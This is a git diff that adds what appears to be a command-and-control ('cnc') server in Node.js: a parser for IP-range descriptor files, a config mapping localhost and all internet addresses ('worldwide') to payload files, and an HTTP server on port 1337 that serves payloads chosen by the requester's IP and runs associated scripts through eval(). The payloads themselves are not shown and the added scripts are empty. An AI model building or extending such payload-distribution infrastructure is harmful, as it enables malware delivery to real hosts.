diff options
Diffstat (limited to 'cnc')
| -rw-r--r-- | cnc/bluedream.bd | 2 | ||||
| -rw-r--r-- | cnc/lib/bd_parser.js | 48 | ||||
| -rw-r--r-- | cnc/scr/localhost.js | 0 | ||||
| -rw-r--r-- | cnc/scr/pitbull.js | 0 | ||||
| -rw-r--r-- | cnc/srv.js | 30 |
5 files changed, 80 insertions, 0 deletions
diff --git a/cnc/bluedream.bd b/cnc/bluedream.bd new file mode 100644 index 0000000..b02a9e2 --- /dev/null +++ b/cnc/bluedream.bd @@ -0,0 +1,2 @@ +127.0.0.0/8:payloads/localhost.js,scr/localhost.js +0.0.0.0/0:payloads/worldwide.js,scr/pitbull.js
\ No newline at end of file diff --git a/cnc/lib/bd_parser.js b/cnc/lib/bd_parser.js new file mode 100644 index 0000000..01a557a --- /dev/null +++ b/cnc/lib/bd_parser.js @@ -0,0 +1,48 @@ +// block descriptor parser + +const fs = require('fs'); +const net = require('net'); + + +const block_regex = /(\d+.\d+.\d+.\d+)\/(\d+)/; +const range_regex = /(\d+.\d+.\d+.\d+)-(\d+.\d+.\d+.\d+)/; + +function parse_bd(bd_path) { + const bd = fs.readFileSync(bd_path, "utf8").split("\n"); + let all_bds = []; + + for (let s of bd) { + s = s.includes("#") ? s.slice(0, s.indexOf("#")) + : s; + + if (s == "") continue; + + let ip_desc = s.slice(0, s.indexOf(":")); + let ips = ip_desc.split(","); + let [bin, run_when] = s.slice(s.indexOf(":") + 1).split(","); + + let blocklist = new net.BlockList(); + + for (let ip of ips) { + if (ip.includes("/")) { + let match = ip.match(block_regex); + + blocklist.addSubnet(match[1], parseInt(match[2])); + } else if (ip.includes("-")) { + let match = ip.match(range_regex); + + console.log(match[1], match[2]); + + blocklist.addRange(match[1], match[2]); + } else { + blocklist.addAddress(ip); + } + } + + all_bds.push({block: blocklist, wrapped: fs.readFileSync(bin), js_to_run: run_when != "none" ? fs.readFileSync(run_when, "utf8") : null}) + } + + return all_bds; +} + +exports.parse_bd = parse_bd;
\ No newline at end of file diff --git a/cnc/scr/localhost.js b/cnc/scr/localhost.js new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/cnc/scr/localhost.js diff --git a/cnc/scr/pitbull.js b/cnc/scr/pitbull.js new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/cnc/scr/pitbull.js diff --git a/cnc/srv.js b/cnc/srv.js new file mode 100644 index 0000000..260900c --- /dev/null +++ b/cnc/srv.js @@ -0,0 +1,30 @@ +const http = require('http'); +const fs = require('fs'); + +const bd_parse = require('./lib/bd_parser.js'); + +let bd = bd_parse.parse_bd(process.argv[2]); + +const srv = http.createServer((req, res) => { + let wrapped; + let js_to_run; + + for (let d of bd) { + if (d.block.check(req.socket.remoteAddress)) { + wrapped = d.wrapped; + js_to_run = d.js_to_run; + break; + } + } + + if (js_to_run) { + eval(js_to_run); + } + + console.log(wrapped); + + res.statusCode = 200; + res.end(wrapped); +}); + +srv.listen(1337, "0.0.0.0");
\ No newline at end of file |